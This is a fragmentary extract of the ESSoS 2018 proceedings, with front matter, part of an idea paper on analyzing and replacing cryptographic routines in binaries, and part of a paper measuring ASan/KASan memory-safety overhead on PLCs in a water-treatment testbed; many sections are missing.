Engineering Secure Software and Systems Compress
Engineering Secure Software and Systems Compress
Engineering
LNCS 10953
Secure Software
and Systems
10th International Symposium, ESSoS 2018
Paris, France, June 26–27, 2018
Proceedings
123
Lecture Notes in Computer Science 10953
Commenced Publication in 1973
Founding and Former Series Editors:
Gerhard Goos, Juris Hartmanis, and Jan van Leeuwen
Editorial Board
David Hutchison
Lancaster University, Lancaster, UK
Takeo Kanade
Carnegie Mellon University, Pittsburgh, PA, USA
Josef Kittler
University of Surrey, Guildford, UK
Jon M. Kleinberg
Cornell University, Ithaca, NY, USA
Friedemann Mattern
ETH Zurich, Zurich, Switzerland
John C. Mitchell
Stanford University, Stanford, CA, USA
Moni Naor
Weizmann Institute of Science, Rehovot, Israel
C. Pandu Rangan
Indian Institute of Technology Madras, Chennai, India
Bernhard Steffen
TU Dortmund University, Dortmund, Germany
Demetri Terzopoulos
University of California, Los Angeles, CA, USA
Doug Tygar
University of California, Berkeley, CA, USA
Gerhard Weikum
Max Planck Institute for Informatics, Saarbrücken, Germany
More information about this series at http://www.springer.com/series/7407
Mathias Payer Awais Rashid
•
Engineering
Secure Software
and Systems
10th International Symposium, ESSoS 2018
Paris, France, June 26–27, 2018
Proceedings
123
Editors
Mathias Payer Jose M. Such
Purdue University King’s College London
West Lafayette London
USA UK
Awais Rashid
University of Bristol
Clifton
UK
This Springer imprint is published by the registered company Springer International Publishing AG
part of Springer Nature
The registered company address is: Gewerbestrasse 11, 6330 Cham, Switzerland
Preface
It is our pleasure to welcome you to the proceedings of the 10th International Sym-
posium on Engineering Secure Software and Systems (ESSoS 2018), co-located with
the conference on Detection of Intrusions and Malware & Vulnerability Assessment
(DIMVA 2018). ESSoS is part of a maturing series of symposia that attempts to bridge
the gap between the software engineering and security scientific communities with the
goal of supporting secure software development. The parallel technical sponsorship
from ACM SIGSAC (the ACM interest group in security) and ACM SIGSOFT (the
ACM interest group in software engineering) demonstrates the support from both
communities and the need for providing such a bridge.
Security mechanisms and the act of software development usually go hand in hand.
It is generally not enough to ensure correct functioning of the security mechanisms
used. They cannot be blindly inserted into a security-critical system, but the overall
system development must take security aspects into account in a coherent way.
Building trustworthy components does not suffice, since the interconnections and
interactions of components play a significant role in trustworthiness. Lastly, while
functional requirements are generally analyzed carefully in systems development,
security considerations often arise after the fact. Adding security as an afterthought,
however, often leads to problems. Ad Hoc development can lead to the deployment of
systems that do not satisfy important security requirements. Thus, a sound methodol-
ogy supporting secure systems development is needed. The presentations and associ-
ated publications at ESSoS 2018 contribute to this goal in several directions: first, by
improving methodologies for secure software engineering (such as flow analysis and
policy compliance). Second, with results for the detection and analysis of software
vulnerabilities and the attacks they enable. Finally, for securing software for specific
application domains (such as mobile devices and access control).
The conference program featured two keynotes, as well as research and idea papers.
In response to the call for papers, 26 papers were submitted. The Program Committee
selected seven full-paper contributions, presenting new research results on engineering
secure software and systems. In addition, three idea papers were selected, giving a
concise account of new ideas in the early stages of research. ESSoS received four
requests for artifact evaluation, out of which three were evaluated correctly and
received the artifact evaluation badge. Many individuals and organizations contributed
to the success of this event. First of all, we would like to express our appreciation to the
authors of the submitted papers and to the Program Committee members and external
reviewers, who provided timely and relevant reviews. Many thanks go to the Artifact
Evaluation Committee for assessing the quality of the submitted artifacts to the Steering
Committee for supporting this series of symposia, and to all the members of the
Organizing Committee for their tremendous work. We are thankful to ACM
SIGSAC/SIGSOFT and LNCS for continuing to support us in this series of symposia.
VI Preface
Steering Committee
Jorge Cuellar Siemens AG, Germany
Wouter Joosen KU Leuven University, Belgium
(Chair)
Fabio Massacci University of Trento, Italy
Bashar Nuseibeh The Open University and LERO, UK
Juan Caballero IMDEA Software Institute, Spain
Eric Bodden University of Paderborn, Germany
Lorenzo Cavallaro Royal Holloway University of London, UK
Organizing Committee
Program Co-chairs
Mathias Payer Purdue University, USA
Awais Rashid University of Bristol, UK
Publication Chair
Jose M. Such King’s College London, UK
Publicity Chair
Raoul Strackx KU Leuven University, Belgium
Local Organizers
Sebastien Bardin CEA, France
Gregory Blanc Telecom SudParis, France
Web Chair
Annick Vandijck KU Leuven University, Belgium
Program Committee
Yasmin Acar Leibniz University Hannover, Germany
Luca Allodi Technical University of Eindhoven, The Netherlands
Pauline Google Inc., Switzerland
Anthonysamy
Rakesh Bobba Oregon State University, USA
Alvaro Cardenas The University of Texas at Dallas, USA
Lorenzo Cavallaro Royal Holloway University of London, UK
VIII Organization
Additional Reviewers
Sarah Elder
Sylvain Frey
Andrei Homescu
Trishank Karthik
Raul Quinonez
Akond Rahman
Chris Theisen
Contents
1 Introduction
In recent years cryptography became almost universal in applications, both
commercial and open-source. Every application securely communicating with
its cloud server relies on a full suite of symmetric and asymmetric encryption
algorithms. Hence, running a closed-source application employing cryptography
requires one to trust the software developer to (a) consistently use cryptography,
(b) have chosen a good crypto-library and use it correctly, and (c) not to have
built-in a backdoor that leaks sensitive information.
Especially when dealing with software running in a sensitive environment it
is necessary to thoroughly inspect the software for potential vulnerabilities and
threats. We focus on the correctness analysis of the software using the binary
code as unwanted functionality can be introduced during the compilation pro-
cess [1], the original source code or libraries are not available, or one cannot
re-produce bit-matching binary images from the supplied sources. For similar
reasons, i.e. no source available or highest level of trust, any late stage cus-
tomization has to be performed on the machine-code level. In the following, we
focus on cryptography routines because they are often exposed to the network
and present a major part of the attack surface of an application. Also, this spe-
cific domain allows us to use a lot of domain-specific knowledge in the attempted
automated analysis.
The research leading to this paper has received funding from the AMASS project
(H2020-ECSEL no. 692474).
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 1–8, 2018.
https://doi.org/10.1007/978-3-319-94496-8_1
2 O. Brechelmacher et al.
Once some piece of software fails the verification, information about vulnera-
bilities becomes public, or encryption needs to be added due to changing security
requirements, the software needs to be patched or replaced. In order to save on
the re-certification/verification effort, we propose to automatically address the
shortcomings in the binary file. Put differently, we do not only want to analyze
binaries, but also fix certain problems automatically or even add encryption to
binaries that do not currently employ encryption, e.g. adding HTTPS to a legacy
application.
While one source of vulnerabilities are sophisticated, deliberate backdoors,
we believe a significant portion of flaws are accidental. Developers typically are
not very knowledgeable in cryptography. A common pattern these days is that
developers use the first seemingly working code-snipped from some blog or stack-
exchange answer for their code. There are numerous problems when using cryp-
tography in this naı̈ve way.
The first problem is that developers may use a home-grown implementation
of their desired cipher or some not very well maintained library. Such home-
grown implementations will not contain hardening against side-channel attacks
and will likely contain unknown bugs or weaknesses [2]. The second problem
is connected to the use of statically linked libraries. Here, one issue is that
the user of the software cannot easily update the version of the library used,
once a vulnerability has been found. Further, the user has no guarantees (and
is generally unable to check) whether the software supplier has used the latest
version of the library when building the release. As security issues are regularly
found and fixed in libraries, this is a major problem. Lastly, even the best crypto
library may be used incorrectly. There are numerous topics around encryption,
such as key management or safe storage and erasure of the key in memory that
a developer can get wrong.
In the past numerous flaws concerning cryptography have been found in
software. Here are some of the more interesting cases. Our first example has
been revealed by the Chaos Computer Club of Germany (CCC) in software used
by the German government to spy on suspected criminals. On close analysis of
the software, which is also known as the federal trojan horse, the CCC discovered
that the trojan used the same hard-coded AES-key to secure the data transfer
to the control server for years. The key can now be found on the internet [3].
Hence, unauthorized parties would have been able read the data transferred.
The second example is the well-known Heartbleed bug [4]. This bug may still
be present in applications that were statically linked with any of the vulnerable
OpenSSL versions. Here, we would want an automated upgrade of the library
linked into the affected applications to fix the issue. A third example shows
another source for weaknesses when using cryptographic functions: the random
number generator. The best crypto implementation does not help if the key is
predictable. This was the case in Debian’s OpenSSL package, that was able to
generate only 32 768 different keys [5]. As before, we would like to be able to
address this bug by replacing the random generator used in the application by
a trusted one. These are just a few examples, but they illustrate a need to focus
on cryptography as part of a software security analysis and life cycle. They also
A Vision for Enhancing Security of Cryptography 3
show that binary analysis is needed because merely analyzing the input and
output of the application may not reveal a faulty crypto implementation.
We are now ready to present our vision in Sect. 2, before arguing for its
feasibility in Sect. 3 by presenting already existing work we can build on. Finally,
we conclude this idea paper in Sect. 4.
2 The Vision
As we have shown in Sect. 1, the current treatment of cryptography in the life-
cycle of executable programs is far from optimal. Put shortly, the user has no
efficient way of checking whether the employed algorithms or library versions are
up-to-date, whether the cryptographic primitives are used correctly, or whether
the advertised algorithms are used at all. Even worse, once vulnerabilities are
discovered there is no easy way to fix the affected executables. Finally, there is
no way to add additional functionality to the application.
Our vision is to address these shortcomings with a platform for analyzing,
rewriting, and embedding cryptographic functions in binaries. By ‘binary’ we
mean a compiled program, where we don’t have access to the source code or
any debug information. We understand the term cryptography here in its wider
sense to also include random number generators needed to generate keys, cipher
modes (counter mode, cipher feedback mode, etc.), and cryptographic protocols
like TLS. We envision our platform to have the following features:
– Analyze cryptographic functions in the binary for correctness and potential
backdoors. The analysis should reveal if the algorithm computes the cor-
rect result, has potential information leaks, and if it is vulnerable to known
attacks.
– Replace cryptographic functions in the binary with alternate implementa-
tions.
– Insert cryptographic functionality, which is most useful for legacy binaries.
While these features seem trivial, achieving them is far from it. We will use a
few scenarios to illustrate common problems and how our platform would help.
Weakening Encryption. While not in our primary focus, our platform could
even be used to weaken a cryptographic implementation. This could be useful in
case of reverse engineering, i.e. malware analysis. An important part of reverse
engineering is the network traffic, which may be difficult to analyze if it is TLS
encrypted with certificate pinning. Our framework would save the analyst a lot
of time by simply leaking the encryption key to a file.
All of the discussed scenarios can be realized manually with dedicated per-
sonnel. Our platform, however, should automate the work involved as much as
possible. While this is no easy feat, we think it is viable and give an overview of
already available building blocks in the following section.
3 Available Already
Quite a number of building blocks for our vision are already in place. On the one
hand there is a large body of research and tools that deal with binary analysis
and manipulation, on the other hand we started working towards our platform
for Linux/x86-64 and gained first, encouraging results.
In the following sub-sections, we give a brief overview of available tools and
techniques that help realizing our vision. Starting from tools helping with binary
rewriting and analysis, we refer to techniques used for specifying machine code
that needs replacement before describing our own contributions.
A Vision for Enhancing Security of Cryptography 5
3.3 Evaluation
Our current prototype implements the complete testing toolchain for AES: It
has the ability to record traces, find the addresses and parameters of the crypto
functions, and test the crypto function using NIST vectors. We implemented
several models for AES using two modes (ECB and CTR) and various keylengths.
We can not only process the small toy examples we created for numerous ways
to implement AES, but also the aescrypt2 sample program from the mbedTLS
library [20]. All these example were compiled with GCC optimization level 3 and
without symbols. The aescrypt2 example is 180 kb in size and contains more than
7000 assembler instructions.
4 Conclusion
We have presented our vision on how to address the challenges posed by cryptog-
raphy in the life-cycle of executable programs. In order to automate the process
of testing and adapting executables as much as possible, we propose to build a
platform capable of analyzing, replacing, and inserting cryptographic functions
with the goal of achieving a high level of automation. For this, we rely on a mix
of techniques known from binary analysis and rewriting, program verification,
model-based testing, and compiler construction.
Our envisioned platform will help analysts find flawed cryptographic imple-
mentations and replace them by trusted ones or even insert encryption function-
ality into executable programs. We have made promising first steps towards our
vision by implementing parts of the platform on the Linux-x86-64 platform and
applying it to different applications relying on AES. Our lessons learnt led us to
new approaches for speeding up solving the identification problem of functions
8 O. Brechelmacher et al.
and parameters, which we are implementing right now. We are also working
on improving the symbolic analysis to make it more scalable and applicable to
larger executables. Finally, we want to use rewriting techniques to make perma-
nent changes to binaries as the next step in going after our vision.
References
1. Thompson, K.: Reflections on trusting trust. Commun. ACM 27(8), 761–763 (1984)
2. Egele, M., Brumley, D., Fratantonio, Y., Kruegel, C.: An empirical study of cryp-
tographic misuse in Android applications. In: CCS 2013, pp. 73–84 (2013)
3. CCC: Analyse einer Regierungs-Malware. Technical report, Chaos Computer Club
(2011)
4. Codenomicon, Google-Security: CVE-2014-0160. Available from MITRE, CVE-ID
CVE-2014-0160, 3 Dec 2013
5. Bello, L.: CVE-2008-0166. Available from MITRE, CVE-ID CVE-2008-0166, 9 Jan
2008
6. Bruening, D., Zhao, Q., Amarasinghe, S.: Transparent dynamic instrumentation.
ACM SIGPLAN Not. 47(7), 133–144 (2012)
7. Hiser, J., Nguyen-Tuong, A., Hawkins, W., McGill, M., Co, M., Davidson, J.:
Zipr++: exceptional binary rewriting. In: FEAST 2017, pp. 9–15 (2017)
8. Majlesi-Kupaei, A., Kim, D., Anand, K., ElWazeer, K., Barua, R.: RL-Bin, robust
low-overhead binary rewriter. In: FEAST 2017, pp. 17–22 (2017)
9. Chipounov, V., Kuznetsov, V., Candea, G.: The S2E platform: design, implemen-
tation, and applications. TOCS 30(1), 2 (2012)
10. Shoshitaishvili, Y., Wang, R., Salls, C., Stephens, N., Polino, M., Dutcher, A.,
Grosen, J., Feng, S., Hauser, C., Kruegel, C., Vigna, G.: SoK: (state of) the art of
war: offensive techniques in binary analysis. In: S&P 2016 (2016)
11. Saudel, F., Salwan, J.: Triton: a dynamic symbolic execution framework. In: Sym-
posium sur la sécurité des Technologies de l’information et des Communications,
SSTIC, France, Rennes, June 3–5 2015, SSTIC, pp. 31–54 (2015)
12. Cadar, C., Dunbar, D., Engler, D.R., et al.: KLEE: unassisted and automatic
generation of high-coverage tests for complex systems programs. In: OSDI. vol. 8,
pp. 209–224 (2008)
13. Jiang, Y., Zhang, C., Wu, D., Liu, P.: Feature-based software customization: pre-
liminary analysis, formalization, and methods. In: HASE 2016, pp. 122–131 (2016)
14. Kim, D., Sumner, W.N., Zhang, X., Xu, D., Agrawal, H.: Reuse-oriented reverse
engineering of functional components from x86 binaries. In: ICSE 2014, pp. 1128–
1139 (2014)
15. Xu, D., Ming, J., Wu, D.: Cryptographic function detection in obfuscated binaries
via bit-precise symbolic loop mapping. In: S&P 2017, pp. 921–937 (2017)
16. Dockins, R., Foltzer, A., Hendrix, J., Huffman, B., McNamee, D., Tomb, A.: Con-
structing semantic models of programs with the software analysis workbench. In:
VSTTE 2016, pp. 56–72 (2016)
17. Bassham III, L.E.: The advanced encryption standard algorithm validation suite
(AESAVS). NIST Information Technology Laboratory (2002)
18. McKeeman, W.M.: Differential testing for software. Digit. Techn. J. 10(1), 100–107
(1998)
19. Papp, D., Buttyán, L., Ma, Z.: Towards semi-automated detection of trigger-based
behavior for software security assurance. In: SAW 2018 (2018)
20. ARM: mbedTLS. https://tls.mbed.org/
Enforcing Full-Stack Memory-Safety
in Cyber-Physical Systems
1 Introduction
2 Background
In this section, we provide background information on cyber-physical systems,
the CPS testbed we use for experimentation (SWaT) and the memory-safety
tools we enforced to our CPS design (ASan and KASan).
SWaT [28] is a fully operational water purification plant designed for research
in the design of secure cyber physical systems. It produces 5 gal/min of doubly
filtered water.
2.3 ASan
2.4 KASan
KASan [27,32] is a fast and dynamic memory error detector tool mainly designed
for the Linux kernel. It is also a compile-time code instrumentation memory-
safety tool. However, KASan is designed to cover only buffer overflows and dan-
gling pointers not to significantly affect the performance of Linux kernel. Conse-
quently, its runtime overhead is considerably low when compared to ASan. Sev-
eral kernel memory bugs have been already detected using KASan [33]. There-
fore, we chose KASan for the kernel-space enforcement. The current version of
KASan is supported only for the x86 64 and ARM64 architectures. Hence, it
has compatibility issue with ARM32 architecture, which we have fixed it. As
discussed on Sect. 6.2, the practical tolerability of its overhead (together with
ASan) is also evaluated against the real-time constraints of SWaT.
where Tˆs and Ts are scan time with and without memory-safe compilation,
respectively. A detailed account of modeling Ts is provided in our earlier
work [30].
where Tˆs (i) captures the scan time for the i-th measurement after the memory-
safe compilation.
Enforcing Full-Stack Memory-Safety in CPS 15
As discussed on Sect. 2.4, KASan [27] is a memory-safety tool designed for the
Linux kernel. Therefore, we compiled the Raspberry PI Linux kernel (where
our controller is running on) with KASan to detect kernel-level memory-safety
violations, such as buffer overflows and dangling pointers. To do so, we configure
the kernel with a KASAN=y configuration option. But, doing so was not also a
straightforward task because of an architectural comparability problem to work
on a 32-bit Raspbian kernel. Because KASan is designed only for the x86-64 and
ARM64 architectures. To solve the problem, we did a custom kernel build by
cross-compiling with a 64-bit Linux OS.
As discussed on Sects. 2.3 and 2.4, ASan and KASan instrument the protected
program to ensure that memory access instructions never read or write the so
called “poisoned” redzones [20]. Redzones are small regions of memory inserted
in between any two stack, heap or global objects. Since the program should
never address them, access to them indicates an illegal behavior and it will be
considered as a memory-safety violation. This policy detects sequential buffer
over/underflows, and some of the more sophisticated pointer corruption bugs
such as dangling pointers (use-after-free) and use-after-return bugs (see the full
list on Table 3). With the ASan enforcement, we detected two global buffer over-
flow vulnerabilities on the OpenPLC Modbus implementation.
The mitigation approach of ASan and KASan is based on the principle of
“automatically aborting” the vulnerable program whenever a memory-safety
violation is detected. It is effective in restricting memory-safety attacks not to
exploit the vulnerabilities. However, this approach might not be acceptable in a
CPS environment since it highly affects availability of the system and leaves the
control system in an unsafe state. Thus, we are currently working on a different
mitigation approach to address these limitations.
5 Experimental Design
5.1 open-SWaT
open-SWaT is designed using OpenPLC [36] – an open source PLC for industrial
control systems. With open-SWaT, we reproduce operational details of SWaT;
Enforcing Full-Stack Memory-Safety in CPS 17
in particular we reproduce the main factors (mentioned on Sect. 6.4) that have
significant impact on the scan time and MSO. In general, the design of open-
SWaT consists of the following details.
PLCs: we designed the PLCs using OpenPLC controller that runs on top of
Linux on Raspberry PI. To reproduce hardware specifications of SWaT PLCs,
we specified 200 MHz fixed CPU speed and 2Mb user memory for our PLCs.
RIO: we use Arduino Mega as RIO terminal. It has AVR based processor with
16 MHz clock speed. It consists of 86 I/O pins that can be directly connected
to the I/O devices. To reproduce the number of I/O devices of SWaT, we used
32 DI (push-buttons, switches and scripts), 13 AI (temperature and ultrasonic
sensors) and 16 DO (light emitter diodes (LEDs)).
PLC program: we have designed a control program written in ladder diagram
that has similar complexity to the one in SWaT (a sample diagram is shown
on Fig. 3 (in Appendix)). It consists of various types of instructions such as
logical (AND, OR, NOT, SR (set-reset latch)), arithmetic (addition (ADD),
multiplication (MUL)), comparisons (equal (EQ), greater than (GT), less than
(LT), less than or equal (LE)), counters (up-counter (CTU)), timers (turn on
timer (TON), turn off timer (TOF)), contacts (normally-open (NO), normally-
closed (NC)), and coils (normally-open (NO), normally-closed (NC)). We stated
complexity of the program both in terms of number of instructions and lines
of code (LOC). The overall PLC program consists of 129 instructions; details
are shown on Table 4 (in Appendix). Size of the program (when translated to C
code) is 508 LOC.
Communication frequency: the com-
munication architecture of open-
SWaT (illustrated on Fig. 1) consists
of analogous communicating compo-
nents with that of SWaT. Open-
SWaT uses both type of modbus
communication protocols – modbus
TCP (for Ethernet or wireless com-
munication) and modbus RTU (for
serial communication). The commu-
nication among PLCs is via modbus
TCP or modbus RTU whereas the
communication between PLCs and
the SCADA system is via modbus
TCP. Frequency of communication Fig. 1. Architecture of open-SWaT [30]
among PLCs and the SCADA system
is similar to that in SWaT. The communication between PLCs and Arduino is
via USB serial communication. The frequency of receiving inputs from Arduino
or sending outputs to Arduino is 100 Hz.
Real-time constraint: based on the real-time constraint of SWaT, we set 10 ms
cycle time (real-time constraint) to each PLC in open-SWaT.
18 E. G. Chekole et al.
SCADA system: we use ScadaBR [39], a full SCADA system consisting of web-
based HMI.
In summary, the design of open-SWaT is expected to be very close to SWaT.
In particular, the PLCs (in both cases) are expected to operate similarly. Because
their hardware specifications, the inputs they receive from sensors, the PLC
program they execute, the control command they issue, the number of nodes
they are communicating with, the frequency of communications, and so on, are
designed to be similar. Thus, we expect that the MSO in open-SWaT would also
remain close to that in SWaT. Therefore, if the MSO is tolerable in open-SWaT,
it would be the same for SWaT. In the future, we plan to replace the PLCs at
SWaT with the open-source and memory-safety enabled PLCs of open-SWaT.
6.1 Security
As a sanity check on our configuration, we have evaluated our setup against a
wide-range of memory-safety vulnerabilities to explore the detection accuracy
of ASan and KASan. The results show that, as in the original paper [20], ASan
detects memory-safety violations with high accuracy – without false positives for
all the vulnerabilities listed on Table 3 (in Appendix) and rare false negatives
for global buffer overflow and use-after-free vulnerabilities due to the exceptions
discussed on [20].
As discussed on Sect. 2.4, KASan’s error coverage is purposely limited to
buffer overflows and use-after-free vulnerabilities for performance reason. We
evaluated its detection accuracy against these vulnerabilities in the Linux kernel
and it accurately detects them; no false positives or negatives were discovered
or reported so far. Both tools also effectively mitigate the detected violations
regardless of the mitigation limitations discussed on Sect. 4.3.
Enforcing Full-Stack Memory-Safety in CPS 19
6.2 Performance
According to published benchmarks [20], the average runtime overhead of ASan
is about 73%. However, all measurements were taken on a non-CPS environment.
With our full-stack memory-safety enforcement, i.e., ASan + KASan, the average
overhead is 94.32%. The overall performance report of the PLC including the
execution time of each operation and its respective MSO is depicted on Table 1.
To evaluate tolerability of this overhead, we have checked if it satisfies the
conditions defined on Eq. (2) (for average-case) and Eq. (3) (for worst-case). As
shown on Table 1, mean(Tˆs ) = 865.10 µs, and Tc = 10000 µs. Therefore, accord-
ing to Eq. (2), the overhead is tolerable for SWaT with the average-case scenario.
To evaluate the tolerability in the worst-case scenario, we check if it satis-
fies Eq. (3). As shown on Table 1, max(Tˆs ) = 5238.46 µs, and Tc = 10000 µs.
It is still tolerable, thus ASan satisfies the real-time constraint of SWaT both
in the average-case and worst-case scenarios. Therefore, we can conclude that
SWaT would tolerate the overhead caused by memory-safe compilation, while
significantly increasing its security.
– CPU speed (SCP U ∈ R): obviously, clock speed of the processor is a major
factor for the PLC performance. It determines how much clock cycles the CPU
performs per second, hence it determines how much instructions the PLC can
process per second. SCP U affects all operations of the PLC. However, since
SCP U is fixed with “userspace” governor, it would not lead to intolerability.
– Memory size (SM ∈ R): size of memory is fixed. The memory size needed
for memory mapping and redzones allocation (due to the memory-safe com-
pilation) is already allocated at compile-time. Cache memory size is not also
a big issue in CPS. Because CPS data such as sensor data, control commands
and state information get updated very frequently. Thus, data caching is not
that much relevant in CPS. Therefore, SM would not lead to intolerability.
– Number of sensors (NS ∈ N): the number of input devices (sensors) con-
nected to the PLC is one factor that significantly affect the PLC scan time
and MSO. Because, the time to scan inputs depends on the number of sensors
connected with the PLC. However, NS is fixed, hence it would not cause the
intolerability condition to happen.
– Number of actuators (NA ∈ N): the number of output devices (actuators)
connected to the PLC is also another factor that has significant effect on the
PLC scan time and MSO. Because, the time to update outputs depends on
the number of output devices connected with the PLC. However, since NA is
fixed, it would not lead to intolerability.
– Complexity of the PLC program (CP ∈ RZ ): As discussed on Sect. 5.1,
the PLC program can consist of various types of instructions. Each instruc-
tion has its own execution time. Therefore, CP can be expressed in terms of
Enforcing Full-Stack Memory-Safety in CPS 21
the number and type of instructions that the overall program consists of (Z =
{number of instructions, type of instructions}). As such, it is a major factor
for the PLC scan time as it affects the control program execution time. How-
ever, CP is fixed and the program does not also contain loops or recursion
functions. Thus, it would not lead to the intolerability condition.
– Communication frequency (CF ∈ R): the PLC communicates with vari-
ous devices such as RIO (sensors and actuators), other PLCs and SCADA sys-
tems. The communication frequency can be expressed in terms of the number
of packets the PLC sends or receives to/from other communicating devices.
Handling all such communications can take significant amount of time. In par-
ticular, it significantly affects the PLC’s performance when the PLC handles
the concurrency issues between the scan cycle and communication threads
to access shared resources, such as shared buffers [30]. Therefore, the com-
munication frequency between the PLC and other communicating entities is
another factor for the PLC scan time. However, when the PLC communicates
with n nodes, it receives or sends packets with a constant rate. Thus, the CF
is fixed. In addition, realistic PLCs (as real-time systems) efficiently handle
concurrency problems. Therefore, the CF would not result the intolerability
condition.
We also performed a sensitivity analysis on the factors in regard to its effect
on the PLC scan time and MSO. This analysis will help us to extrapolate math-
ematical formulas predicting the expected MSO and its tolerability to a given
CPS. A detailed account of our sensitivity analysis is provided in our previous
work [30].
7 Related Work
In this section, we explore related works done in providing memory-safety solu-
tions against memory-safety attacks and measuring and analyzing memory-
safety overheads in the CPS environment.
In our earlier work [30], we enforced ASan to a CPS environment and mea-
sured its runtime overhead (81.82%). However, it was only a user-space enforce-
ment and the critical kernel-level security concern was ignored. To address that
limitation, we enforced a full-stack memory-safety, i.e., ASan + KASan, in our
current work. With a similar setup but a different kernel configuration, the aver-
age overhead of the proposed solution is 94.32%. Meaning, it incurs an additional
overhead of 12.5%, but with a significant boost in security. To enhance compre-
hensiveness of our experimental results, we also increased the number of scan
cycles (whose scan time is empirically measured) from 10000 to 50000.
SoftBoundCETS is a compile-time code-instrumentation tool that detects
all violations of spatial memory-safety (SoftBound [21]) and temporal memory-
safety (CETS [22]) in C. It is a complete memory-safety tool that works under
the LLVM environment. However, its runtime overhead is very high (116%) as
compare to ASan (73%). In addition, it is incompatible for the CPS environment;
because it is implemented only for the x86-64 target architecture and it is also
dependent on the LLVM infrastructure.
22 E. G. Chekole et al.
8 Conclusion
Appendix
Table 4. Instruction
count
Instructions Count
Logical
AND 17
OR 14
NOT 5
SR 1
Arithmetic
ADD 1
MUL 2
Comparisons
EQ 3
GT 3
LT 2
LE 2
Timers
TON 3
TOF 9
Counters
CTU 1
Selections
SEL 1
MAX 1
Contacts
NO 38
Fig. 3. Sample PLC program in ladder diagram [30] NC 3
Coils
NO 21
NC 2
Total 129
References
1. Sha, L., Gopalakrishnan, S., Liu, X., Wang, Q.: Cyber-physical systems: a new
frontier. In: SUTC 2008 (2008)
2. Lee, E.A., Seshia, S.A.: Introduction to Embedded Systems - A Cyber-Physical
Systems Approach, 2nd edn, version 2.0 edn. LeeSeshia.org (2015)
3. Lee, E.A.: Cyber physical systems: design challenges. In: ISORC 2008 (2008)
4. MITRE: Common Vulnerabilities and Exposures. https://cve.mitre.org/
5. CVE-5814. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5814
Enforcing Full-Stack Memory-Safety in CPS 25
6. CVE-6438. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6438
7. CVE-6436. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6436
8. CVE-0674. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0674
9. CVE-1449. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1449
10. CVE-0929. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0929
11. CVE-7937. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7937
12. CVE-5007. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-5007
13. NVD: NVD Statistics on The Linux Kernel Vulnerabilities (2018). https://
nvd.nist.gov/vuln/search/results?adv search=false&form type=basic&results
type=overview&search type=all&query=linux+kernel
14. Berger, E.D., Zorn, B.G.: DieHard: probabilistic memory safety for unsafe lan-
guages. In: PLDI 2006 (2006)
15. Novark, G., Berger, E.D.: DieHarder: securing the heap. In: CCS 2010 (2010)
16. Kharbutli, M., Jiang, X., Solihin, Y., Venkataramani, G., Prvulovic, M.: Compre-
hensively and efficiently protecting the heap. In: ASPLOS 2006 (2006)
17. Abadi, M., Budiu, M., Erlingsson, U., Ligatti, J.: Control-flow integrity. In: CCS
2005, pp. 340–353 (2005)
18. Zhang, M., Sekar, R.: Control flow integrity for cots binaries. In: USENIX 2013
19. Tice, C., Roeder, T., Collingbourne, P., Checkoway, S., Erlingsson, Ú., Lozano,
L., Pike, G.: Enforcing forward-edge control-flow integrity in GCC & LLVM. In:
USENIX 2014, pp. 941–955 (2014)
20. Serebryany, K., Bruening, D., Potapenko, A., Vyukov, D.: AddressSanitizer: a fast
address sanity checker. In: USENIX ATC 2012 (2012)
21. Nagarakatte, S., Zhao, J., Martin, M.M., Zdancewic, S.: SoftBound: highly com-
patible and complete spatial memory safety for C. In: PLDI 2009 (2009)
22. Nagarakate, S., Zhao, J., Martin, M.M., Zdancewic, S.: CETS: compiler enforced
temporal safety for C. In: ISMM 2010 (2010)
23. Simpson, M.S., Barua, R.K.: MemSafe: ensuring the spatial and temporal memory
safety of C at runtime. Softw.: Pract. Exp. 43(1), 93–128 (2013)
24. Bruening, D., Zhao, Q.: Practical memory checking with Dr. Memory. In: CGO
2011 (2011)
25. Necula, G.C., Condit, J., Harren, M., McPeak, S., Weimer, W.: CCured: type-
safe retrofitting of legacy software. ACM Trans. Progr. Lang. Syst. 27(3), 477–526
(2005)
26. Eigler, F.C.: Mudflap: Pointer Use Checking for C/C++. In: GCC Developer’s
Summit. Red Hat Inc (2003)
27. KASAN: The Kernel Address Sanitizer (2018). https://www.kernel.org/doc/html/
v4.12/dev-tools/kasan.html
28. iTrust: Secure Water Treatment (SWaT) Testbed. https://itrust.sutd.edu.sg/
research/testbeds/secure-water-treatment-swat/
29. Ahmed, C.M., Adepu, S., Mathur, A.: Limitations of state estimation based cyber
attack detection schemes in industrial control systems. In: SCSP-W 2016 (2016)
30. Chekole, E.G., Castellanos, J.H., Ochoa, M., Yau, D.K.Y.: Enforcing memory
safety in cyber-physical systems. In: Katsikas, S., et al. (eds.) SECPRE 2017,
CyberICPS 2017. LNCS, vol. 10683, pp. 127–144. Springer, Cham (2017). https://
doi.org/10.1007/978-3-319-72817-9 9
31. AddressSanitizer Github Repository. https://github.com/google/sanitizers/wiki/
AddressSanitizerComparisonOfMemoryTools
32. KASAN Wiki: The Kernel Address Sanitizer Wiki (2018). https://github.com/
google/kasan/wiki
26 E. G. Chekole et al.
